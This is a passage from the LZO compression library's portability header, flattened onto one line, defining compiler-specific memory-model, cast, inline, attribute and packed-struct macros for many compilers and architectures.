(LZO_ARCH_ARM64) # if !defined(LZO_TARGET_FEATURE_NEON) # if 1 # define LZO_TARGET_FEATURE_NEON 1 # endif # endif #endif #if 0 #elif !defined(__LZO_MM_OVERRIDE) #if (LZO_ARCH_I086) #if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" #endif #if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM) # define LZO_MM_TINY 1 #elif defined(__HUGE__) || defined(_HUGE_) || defined(M_I86HM) || defined(_M_I86HM) # define LZO_MM_HUGE 1 #elif defined(__SMALL__) || defined(M_I86SM) || defined(_M_I86SM) || defined(SMALL_MODEL) # define LZO_MM_SMALL 1 #elif defined(__MEDIUM__) || defined(M_I86MM) || defined(_M_I86MM) # define LZO_MM_MEDIUM 1 #elif defined(__COMPACT__) || defined(M_I86CM) || defined(_M_I86CM) # define LZO_MM_COMPACT 1 #elif defined(__LARGE__) || defined(M_I86LM) || defined(_M_I86LM) || defined(LARGE_MODEL) # define LZO_MM_LARGE 1 #elif (LZO_CC_AZTECC) # if defined(_LARGE_CODE) && defined(_LARGE_DATA) # define LZO_MM_LARGE 1 # elif defined(_LARGE_CODE) # define LZO_MM_MEDIUM 1 # elif defined(_LARGE_DATA) # define LZO_MM_COMPACT 1 # else # define LZO_MM_SMALL 1 # endif #elif (LZO_CC_ZORTECHC && defined(__VCM__)) # define LZO_MM_LARGE 1 #else # error "unknown LZO_ARCH_I086 memory model" #endif #if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) #define LZO_HAVE_MM_HUGE_PTR 1 #define LZO_HAVE_MM_HUGE_ARRAY 1 #if (LZO_MM_TINY) # undef LZO_HAVE_MM_HUGE_ARRAY #endif #if (LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_ZORTECHC) # undef LZO_HAVE_MM_HUGE_PTR # undef LZO_HAVE_MM_HUGE_ARRAY #elif (LZO_CC_DMC || LZO_CC_SYMANTECC) # undef LZO_HAVE_MM_HUGE_ARRAY #elif (LZO_CC_MSC && defined(_QC)) # undef LZO_HAVE_MM_HUGE_ARRAY # if (_MSC_VER < 600) # undef LZO_HAVE_MM_HUGE_PTR # endif #elif (LZO_CC_TURBOC && (__TURBOC__ < 0x0295)) # undef LZO_HAVE_MM_HUGE_ARRAY #endif #if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR) # if (LZO_OS_DOS16) # error "unexpected configuration - check your compiler defines" # elif (LZO_CC_ZORTECHC) # else # error "unexpected configuration - check your compiler defines" # endif #endif #ifdef __cplusplus extern "C" { #endif #if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0200)) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_MSC || LZO_CC_TOPSPEEDC) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_TURBOC && (__TURBOC__ >= 0x0295)) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif ((LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_TURBOC) && LZO_OS_DOS16) # define LZO_MM_AHSHIFT 12 #elif (LZO_CC_WATCOMC) extern unsigned char _HShift; # define LZO_MM_AHSHIFT ((unsigned) _HShift) #else # error "FIXME - implement LZO_MM_AHSHIFT" #endif #ifdef __cplusplus } #endif #endif #elif (LZO_ARCH_C166) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_C166 __MODEL__" #elif ((__MODEL__) == 0) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 1) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_C166 __MODEL__" #endif #elif (LZO_ARCH_MCS251) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_MCS251 __MODEL__" #elif ((__MODEL__) == 0) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_MCS251 __MODEL__" #endif #elif (LZO_ARCH_MCS51) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_MCS51 __MODEL__" #elif ((__MODEL__) == 1) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_MCS51 __MODEL__" #endif #elif (LZO_ARCH_CRAY_PVP) # define LZO_MM_PVP 1 #else # define LZO_MM_FLAT 1 #endif #if (LZO_MM_COMPACT) # define LZO_INFO_MM "compact" #elif (LZO_MM_FLAT) # define LZO_INFO_MM "flat" #elif (LZO_MM_HUGE) # define LZO_INFO_MM "huge" #elif (LZO_MM_LARGE) # define LZO_INFO_MM "large" #elif (LZO_MM_MEDIUM) # define LZO_INFO_MM "medium" #elif (LZO_MM_PVP) # define LZO_INFO_MM "pvp" #elif (LZO_MM_SMALL) # define LZO_INFO_MM "small" #elif (LZO_MM_TINY) # define LZO_INFO_MM "tiny" #else # error "unknown memory model" #endif #endif #if !defined(__lzo_gnuc_extension__) #if (LZO_CC_GNUC >= 0x020800ul) # define __lzo_gnuc_extension__ __extension__ #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_gnuc_extension__ __extension__ #elif (LZO_CC_IBMC >= 600) # define __lzo_gnuc_extension__ __extension__ #else #endif #endif #if !defined(__lzo_gnuc_extension__) # define __lzo_gnuc_extension__ /*empty*/ #endif #if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0 # if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 # elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200)) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 # else # define LZO_CFG_USE_NEW_STYLE_CASTS 1 # endif #endif #if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 #endif #if !defined(__cplusplus) # if defined(LZO_CFG_USE_NEW_STYLE_CASTS) # undef LZO_CFG_USE_NEW_STYLE_CASTS # endif # define LZO_CFG_USE_NEW_STYLE_CASTS 0 #endif #if !defined(LZO_REINTERPRET_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast (e)) # endif #endif #if !defined(LZO_REINTERPRET_CAST) # define LZO_REINTERPRET_CAST(t,e) ((t) (e)) #endif #if !defined(LZO_STATIC_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_STATIC_CAST(t,e) (static_cast (e)) # endif #endif #if !defined(LZO_STATIC_CAST) # define LZO_STATIC_CAST(t,e) ((t) (e)) #endif #if !defined(LZO_STATIC_CAST2) # define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e)) #endif #if !defined(LZO_UNCONST_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNCONST_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNCONST_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e))))) # endif #endif #if !defined(LZO_UNCONST_CAST) # define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e)))) #endif #if !defined(LZO_UNCONST_VOLATILE_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) # endif #endif #if !defined(LZO_UNCONST_VOLATILE_CAST) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e)))) #endif #if !defined(LZO_UNVOLATILE_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNVOLATILE_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNVOLATILE_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e))))) # endif #endif #if !defined(LZO_UNVOLATILE_CAST) # define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e)))) #endif #if !defined(LZO_UNVOLATILE_CONST_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) # endif #endif #if !defined(LZO_UNVOLATILE_CONST_CAST) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e)))) #endif #if !defined(LZO_PCAST) # if (LZO_HAVE_MM_HUGE_PTR) # define LZO_PCAST(t,e) ((t) (e)) # endif #endif #if !defined(LZO_PCAST) # define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e)) #endif #if !defined(LZO_CCAST) # if (LZO_HAVE_MM_HUGE_PTR) # define LZO_CCAST(t,e) ((t) (e)) # endif #endif #if !defined(LZO_CCAST) # define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e)) #endif #if !defined(LZO_ICONV) # define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(LZO_ICAST) # define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(LZO_ITRUNC) # define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(__lzo_cte) # if (LZO_CC_MSC || LZO_CC_WATCOMC) # define __lzo_cte(e) ((void)0,(e)) # elif 1 # define __lzo_cte(e) ((void)0,(e)) # endif #endif #if !defined(__lzo_cte) # define __lzo_cte(e) (e) #endif #if !defined(LZO_BLOCK_BEGIN) # define LZO_BLOCK_BEGIN do { # define LZO_BLOCK_END } while __lzo_cte(0) #endif #if !defined(LZO_UNUSED) # if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) # define LZO_UNUSED(var) ((void) &var) # elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC) # define LZO_UNUSED(var) if (&var) ; else # elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul)) # define LZO_UNUSED(var) ((void) &var) # elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNUSED(var) ((void) var) # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_UNUSED(var) if (&var) ; else # elif (LZO_CC_KEILC) # define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];} # elif (LZO_CC_PACIFICC) # define LZO_UNUSED(var) ((void) sizeof(var)) # elif (LZO_CC_WATCOMC) && defined(__cplusplus) # define LZO_UNUSED(var) ((void) var) # else # define LZO_UNUSED(var) ((void) &var) # endif #endif #if !defined(LZO_UNUSED_FUNC) # if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) # define LZO_UNUSED_FUNC(func) ((void) func) # elif (LZO_CC_BORLANDC || LZO_CC_NDPC || LZO_CC_TURBOC) # define LZO_UNUSED_FUNC(func) if (func) ; else # elif (LZO_CC_CLANG || LZO_CC_LLVM) # define LZO_UNUSED_FUNC(func) ((void) &func) # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_UNUSED_FUNC(func) if (func) ; else # elif (LZO_CC_MSC) # define LZO_UNUSED_FUNC(func) ((void) &func) # elif (LZO_CC_KEILC || LZO_CC_PELLESC) # define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];} # else # define LZO_UNUSED_FUNC(func) ((void) func) # endif #endif #if !defined(LZO_UNUSED_LABEL) # if (LZO_CC_CLANG >= 0x020800ul) # define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l))) # elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC) # define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l # else # define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l # endif #endif #if !defined(LZO_DEFINE_UNINITIALIZED_VAR) # if 0 # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var # elif 0 && (LZO_CC_GNUC) # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = var # else # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init # endif #endif #if !defined(__lzo_inline) #if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295)) #elif defined(__cplusplus) # define __lzo_inline inline #elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) # define __lzo_inline inline #elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550)) # define __lzo_inline __inline #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_inline __inline__ #elif (LZO_CC_DMC) # define __lzo_inline __inline #elif (LZO_CC_GHS) # define __lzo_inline __inline__ #elif (LZO_CC_IBMC >= 600) # define __lzo_inline __inline__ #elif (LZO_CC_INTELC) # define __lzo_inline __inline #elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405)) # define __lzo_inline __inline #elif (LZO_CC_MSC && (_MSC_VER >= 900)) # define __lzo_inline __inline #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_inline __inline__ #endif #endif #if defined(__lzo_inline) # ifndef __lzo_HAVE_inline # define __lzo_HAVE_inline 1 # endif #else # define __lzo_inline /*empty*/ #endif #if !defined(__lzo_forceinline) #if (LZO_CC_GNUC >= 0x030200ul) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) # define __lzo_forceinline __forceinline #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) # define __lzo_forceinline __forceinline #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #endif #endif #if defined(__lzo_forceinline) # ifndef __lzo_HAVE_forceinline # define __lzo_HAVE_forceinline 1 # endif #else # define __lzo_forceinline __lzo_inline #endif #if !defined(__lzo_noinline) #if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul) # define __lzo_noinline __attribute__((__noinline__,__used__)) #elif (LZO_CC_GNUC >= 0x030200ul) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) # define __lzo_noinline __declspec(noinline) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_noinline __declspec(noinline) #elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64)) # if defined(__cplusplus) # else # define __lzo_noinline __declspec(noinline) # endif #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_noinline __attribute__((__noinline__)) #endif #endif #if defined(__lzo_noinline) # ifndef __lzo_HAVE_noinline # define __lzo_HAVE_noinline 1 # endif #else # define __lzo_noinline /*empty*/ #endif #if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline) # error "unexpected configuration - check your compiler defines" #endif #if !defined(__lzo_static_inline) #if (LZO_CC_IBMC) # define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline #endif #endif #if !defined(__lzo_static_inline) # define __lzo_static_inline static __lzo_inline #endif #if !defined(__lzo_static_forceinline) #if (LZO_CC_IBMC) # define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline #endif #endif #if !defined(__lzo_static_forceinline) # define __lzo_static_forceinline static __lzo_forceinline #endif #if !defined(__lzo_static_noinline) #if (LZO_CC_IBMC) # define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline #endif #endif #if !defined(__lzo_static_noinline) # define __lzo_static_noinline static __lzo_noinline #endif #if !defined(__lzo_c99_extern_inline) #if defined(__GNUC_GNU_INLINE__) # define __lzo_c99_extern_inline __lzo_inline #elif defined(__GNUC_STDC_INLINE__) # define __lzo_c99_extern_inline extern __lzo_inline #elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) # define __lzo_c99_extern_inline extern __lzo_inline #endif #if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline) # define __lzo_c99_extern_inline __lzo_inline #endif #endif #if defined(__lzo_c99_extern_inline) # ifndef __lzo_HAVE_c99_extern_inline # define __lzo_HAVE_c99_extern_inline 1 # endif #else # define __lzo_c99_extern_inline /*empty*/ #endif #if !defined(__lzo_may_alias) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_CLANG >= 0x020900ul) # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0 # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_PGI >= 0x0d0a00ul) && 0 # define __lzo_may_alias __attribute__((__may_alias__)) #endif #endif #if defined(__lzo_may_alias) # ifndef __lzo_HAVE_may_alias # define __lzo_HAVE_may_alias 1 # endif #else # define __lzo_may_alias /*empty*/ #endif #if !defined(__lzo_noreturn) #if (LZO_CC_GNUC >= 0x020700ul) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) # define __lzo_noreturn __declspec(noreturn) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) # define __lzo_noreturn __declspec(noreturn) #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_noreturn __attribute__((__noreturn__)) #endif #endif #if defined(__lzo_noreturn) # ifndef __lzo_HAVE_noreturn # define __lzo_HAVE_noreturn 1 # endif #else # define __lzo_noreturn /*empty*/ #endif #if !defined(__lzo_nothrow) #if (LZO_CC_GNUC >= 0x030300ul) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus) # define __lzo_nothrow __declspec(nothrow) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900)) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus) # define __lzo_nothrow __declspec(nothrow) #endif #endif #if defined(__lzo_nothrow) # ifndef __lzo_HAVE_nothrow # define __lzo_HAVE_nothrow 1 # endif #else # define __lzo_nothrow /*empty*/ #endif #if !defined(__lzo_restrict) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_restrict __restrict__ #elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus) # define __lzo_restrict __restrict__ #elif (LZO_CC_IBMC >= 1210) # define __lzo_restrict __restrict__ #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) # define __lzo_restrict __restrict__ #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM) # define __lzo_restrict __restrict__ #elif (LZO_CC_MSC && (_MSC_VER >= 1400)) # define __lzo_restrict __restrict #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_restrict __restrict__ #endif #endif #if defined(__lzo_restrict) # ifndef __lzo_HAVE_restrict # define __lzo_HAVE_restrict 1 # endif #else # define __lzo_restrict /*empty*/ #endif #if !defined(__lzo_alignof) #if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_GHS) && !defined(__cplusplus) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_IBMC >= 600) # define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e)) #elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700)) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_alignof(e) __alignof(e) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_alignof(e) __alignof__(e) #endif #endif #if defined(__lzo_alignof) # ifndef __lzo_HAVE_alignof # define __lzo_HAVE_alignof 1 # endif #endif #if !defined(__lzo_struct_packed) #if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) #elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) #elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) # define __lzo_struct_packed(s) struct s { # define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__)); #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_struct_packed(s) struct s { # define __lzo_struct_packed_end() } __attribute__((__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_IBMC >= 700) # define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s { # define __lzo_struct_packed_end() } __attribute__((__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s { # define __lzo_struct_packed_end() } __pragma(pack(pop)); #elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) # define __lzo_struct_packed(s) _Packed struct s { # define __lzo_struct_packed_end() }; #endif #endif #if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma) # define __lzo_struct_packed_ma(s) __lzo_struct_packed(s) #endif #if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end) # define __lzo_struct_packed_ma_end() __lzo_struct_packed_end() #endif #if !defined(__lzo_byte_struct) #if defined(__lzo_struct_packed) # define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end() # define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end() #elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__)); # define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__)); #endif #endif #if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma) # define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n) #endif #if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof) #if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul)) #elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_CILLY || LZO_CC_PCC) #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_struct_align16(s) struct __declspec(align(16)) s { # define __lzo_struct_align16_end() }; # define __lzo_struct_align32(s) struct __declspec(align(32)) s { # define __lzo_struct_align32_end() }; # define __lzo_struct_align64(s) struct __declspec(align(64)) s { # define __lzo_struct_align64_end() }; #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_struct_align16(s) struct s { # define __lzo_struct_align16_end() } __attribute__((__aligned__(16))); # define __lzo_struct_align32(s) struct s { # define __lzo_struct_align32_end() } __attribute__((__aligned__(32))); # define __lzo_struct_align64(s) struct s { # define __lzo_struct_align64_end() } __attribute__((__aligned__(64))); #endif #endif #if !defined(__lzo_union_um) #if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810)) #elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) #elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_union_am(s) union s { # define __lzo_union_am_end() } __lzo_may_alias; # define __lzo_union_um(s) union s { # define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_IBMC >= 700) # define __lzo_union_am(s) __lzo_gnuc_extension__ union s { # define __lzo_union_am_end() } __lzo_may_alias; # define __lzo_union_um(s) __lzo_gnuc_extension__ union s { # define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_union_um(s) __pragma(pack(push,1)) union s { # define __lzo_union_um_end() } __pragma(pack(pop)); #elif 